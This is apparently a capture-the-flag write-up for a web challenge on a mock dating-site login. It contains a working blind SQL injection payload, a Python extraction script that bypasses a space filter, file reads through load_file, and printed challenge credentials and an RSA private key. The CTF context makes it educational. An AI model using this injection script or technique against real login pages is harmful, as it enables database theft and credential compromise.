Starting at the URL http://web200.gosec.net:7721, we can see a login page for a dating site.
It is possible to identify that the user admin
exists because we get two distinct error messages.
Invalid user:
Valid user but invalid password:
The following query produce the same error as using admin
user.
?u=admi%27|%27n&p=123
We can then introduce a boolean condition to extract data from tables.
?u=admi%27|if(1=1,'n','777')|%27&p=123
give 'Invalid password cannot find hot mom.'
?u=admi%27|if(1=2,'n','777')|%27&p=123
give 'Invalid username cannot find hot mom.'
~
One important detail that we notice while testing for injections, spaces are either removed or blacklisted.
Having no efficient SQLi script on hand, we decide to write a quick one:
import requests
from requests.auth import HTTPBasicAuth
import sys
from bs4 import BeautifulSoup
session = requests.Session()
def test(input):
query = "?u=admi%27|if("+input+",'n','777')|%27&p=123"
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
response = session.get("http://web200.gosec.net:7721/"+query, headers=headers,
auth=HTTPBasicAuth("web200", "23Gu0ceE4ZebTZa"))
bs = BeautifulSoup(response.text.replace("</br />",""))
form_section = bs.findAll('div', {"class": "error"}) #Error message
t = form_section[0]
return ("Invalid password" in str(t))
def brute_force_expr(expr):
ch_i=1
ascii_i=40 #45
word = ""
while True:
found_char=False
while(ascii_i<160): #96+26
res = test("ascii(substring(("+expr+"),"+str(ch_i)+",1))="+str(ascii_i))
if(res):
word += chr(ascii_i)
print "Found (",ch_i,") ",chr(ascii_i)," - ",word
found_char = True
break
ascii_i+=1
if(not found_char):
print "No char at index ",ch_i," .. ending string construction.."
break
ascii_i = 1
ch_i+=1
return word
print brute_force_expr(sys.argv[1].replace(" ","/**/")) #Replacement fix the spaces problem!
Basic usage goes as follow:
$ python web200.py "select @@version"
Found ( 1 ) 5 - 5
Found ( 2 ) . - 5.
Found ( 3 ) 5 - 5.5
Found ( 4 ) . - 5.5.
Found ( 5 ) 3 - 5.5.3
Found ( 6 ) 7 - 5.5.37
Found ( 7 ) - - 5.5.37-
Found ( 8 ) 0 - 5.5.37-0
Found ( 9 ) + - 5.5.37-0+
Found ( 10 ) w - 5.5.37-0+w
Found ( 11 ) h - 5.5.37-0+wh
Found ( 12 ) e - 5.5.37-0+whe
Found ( 13 ) e - 5.5.37-0+whee
Found ( 14 ) z - 5.5.37-0+wheez
Found ( 15 ) y - 5.5.37-0+wheezy
Found ( 16 ) 1 - 5.5.37-0+wheezy1
No char at index 17 .. ending string construction..
5.5.37-0+wheezy1
After dumping the tables and columns, we extract the admin
password.
$ python web200.py "select password from users limit 0,1"
[...]
aWzode4/Rbdd51trYTrWPFG/nq5yOPZg+A7Jh+OdMlKuCwJW7F+hByRisBsjTzeB67WGTyifOJwUEAo16FarJkYMDJh4TbG5wvIvg3ZWx89gbbVCnF7jN71KgPVtV+t5rcN9iLbz6QDy3UVsjnjq0uk57mMC2ANjNMl5QkCatfE=
We can fetch the source of code of /var/www/index.php
by evaluating the expression select load_file('/var/www/index.php')
. The read operation is possible because the SQL queries are runned with the user root
.
<?php
$error = null;
$success = null;
if(isset($_GET['u']) && isset($_GET['p'])) {
$link = mysql_connect('127.0.0.1', 'root', 'XyEN85vx7ZK2MmZ');
$username = str_replace(' ', '', urldecode($_GET['u'])); // bug fix
mysql_select_db('login', $link);
$result = mysql_query('SELECT * FROM users WHERE username = (\'' . $username . '\')');
if(mysql_num_rows($result) == 0) {
$error = 'Invalid username cannot find hot mom.';
} else {
while(($row = mysql_fetch_assoc($result))) {
$key = GetKey('/askldjlkeasulawe/key.private');
openssl_private_decrypt(base64_decode($row['password']), $output, openssl_get_privatekey($key));
if(trim($output) == $_GET['p']) {
$success = true;
} else {
$error = 'Invalid password cannot find hot mom.';
}
}
}
}
function GetKey($path) {
$fd = fopen($path,"r");
$output = fread($fd, 8192);
fclose($fd);
return $output;
}
?>
<!DOCTYPE html>
[...]
Based on the source of the index.php
, we look for the RSA key located at /askldjlkeasulawe/key.private
.
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQC1CL8cDO5zDlQnww5n378N4Azh0ilEmCEZy1upB6sZykWOxyjG
BmojDYe/LWtqmar9Rx4kSeYs16r334Xu7w9OOupFck0otGdFRM3+kCAj839fKTZS
5b6aAGySPSROeJNxvlrFbLFWbBc1DyZxhofBLitirgUdKEoXbzmeZvAz4QIDAQAB
AoGAeIipTdDiVqLcr1i0175mo6NgkF5wcaZkq5r1nXZompRNecHqyOZudoZEsqpY
EbLc4SQf0oONiJ/TypP9xddPtWP7ef/FJoa29FLXDCpFmZeO6N8sYBgqOj57MzUB
UDdFFcBpfYwC+CN7mgN8bMyusVyjktI41Zccu5qSOsKzAJECQQDpDjVm+FMVUdKl
E81r92/90XnE5xkqL+sO/lHWtqKp4b4lcyrAYIf7Uh2tKGLET7ezqcMshI6l3xMu
EdaNiEV9AkEAxttsXRLFoRHf5q3HFZZNaX5rQtlw6b7EAz1k7olI+5Xkfpup9wzo
kZ0xn+uZTz/McZnQtNtS5Y3eDDzFMqXlNQJATgYwwMGAZ1HWeOfRTUUw3EQmRVKt
bR9Pzdw9H+pTORbXpwgQlwl6XRyXzOIJdvnNYbwDGMNkUooFjNXyA75MrQJAdYIe
Q9We8TJF0+OmvEvoDMnGimdBgO7Yl22FIiv/86M8tdA4nKOFHt77/xtSqfDyV8Lk
AKuGDd5Kc4LJqMc9bQJAZBtVs2DDiJFvPiNhkP2l7LD064x806IaUXeZaYCsSuNM
eZ0EFbn41y7L2oHJlaFrosHMv/gArr4EinLbuNYoLg==
-----END RSA PRIVATE KEY-----
It is now possible to reproduce the decryption of the pasword..
<?php
function GetKey() {
return "-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQC1CL8cDO5zDlQnww5n378N4Azh0ilEmCEZy1upB6sZykWOxyjG
BmojDYe/LWtqmar9Rx4kSeYs16r334Xu7w9OOupFck0otGdFRM3+kCAj839fKTZS
5b6aAGySPSROeJNxvlrFbLFWbBc1DyZxhofBLitirgUdKEoXbzmeZvAz4QIDAQAB
AoGAeIipTdDiVqLcr1i0175mo6NgkF5wcaZkq5r1nXZompRNecHqyOZudoZEsqpY
EbLc4SQf0oONiJ/TypP9xddPtWP7ef/FJoa29FLXDCpFmZeO6N8sYBgqOj57MzUB
UDdFFcBpfYwC+CN7mgN8bMyusVyjktI41Zccu5qSOsKzAJECQQDpDjVm+FMVUdKl
E81r92/90XnE5xkqL+sO/lHWtqKp4b4lcyrAYIf7Uh2tKGLET7ezqcMshI6l3xMu
EdaNiEV9AkEAxttsXRLFoRHf5q3HFZZNaX5rQtlw6b7EAz1k7olI+5Xkfpup9wzo
kZ0xn+uZTz/McZnQtNtS5Y3eDDzFMqXlNQJATgYwwMGAZ1HWeOfRTUUw3EQmRVKt
bR9Pzdw9H+pTORbXpwgQlwl6XRyXzOIJdvnNYbwDGMNkUooFjNXyA75MrQJAdYIe
Q9We8TJF0+OmvEvoDMnGimdBgO7Yl22FIiv/86M8tdA4nKOFHt77/xtSqfDyV8Lk
AKuGDd5Kc4LJqMc9bQJAZBtVs2DDiJFvPiNhkP2l7LD064x806IaUXeZaYCsSuNM
eZ0EFbn41y7L2oHJlaFrosHMv/gArr4EinLbuNYoLg==
-----END RSA PRIVATE KEY-----";
}
$password = "aWzode4/Rbdd51trYTrWPFG/nq5yOPZg+A7Jh+OdMlKuCwJW7F+hByRisBsjTzeB67WGTyifOJwUEAo16FarJkYMDJh4TbG5wvIvg3ZWx89gbbVCnF7jN71KgPVtV+t5rcN9iLbz6QDy3UVsjnjq0uk57mMC2ANjNMl5QkCatfE=";
$key = GetKey();
openssl_private_decrypt(base64_decode($password), $output, openssl_get_privatekey($key));
echo trim($output);
?>
The flag is output : FLAG-wBGc5g147MuVQuC28L9Tw8H8HF
Credits: l33tb33s Team (madmantm, h3xstream, 0xquad, ldionmarcil, mcw, tito)
good job, en passant on pouvait récupérer le code source en faisant une requête pour index.phps :)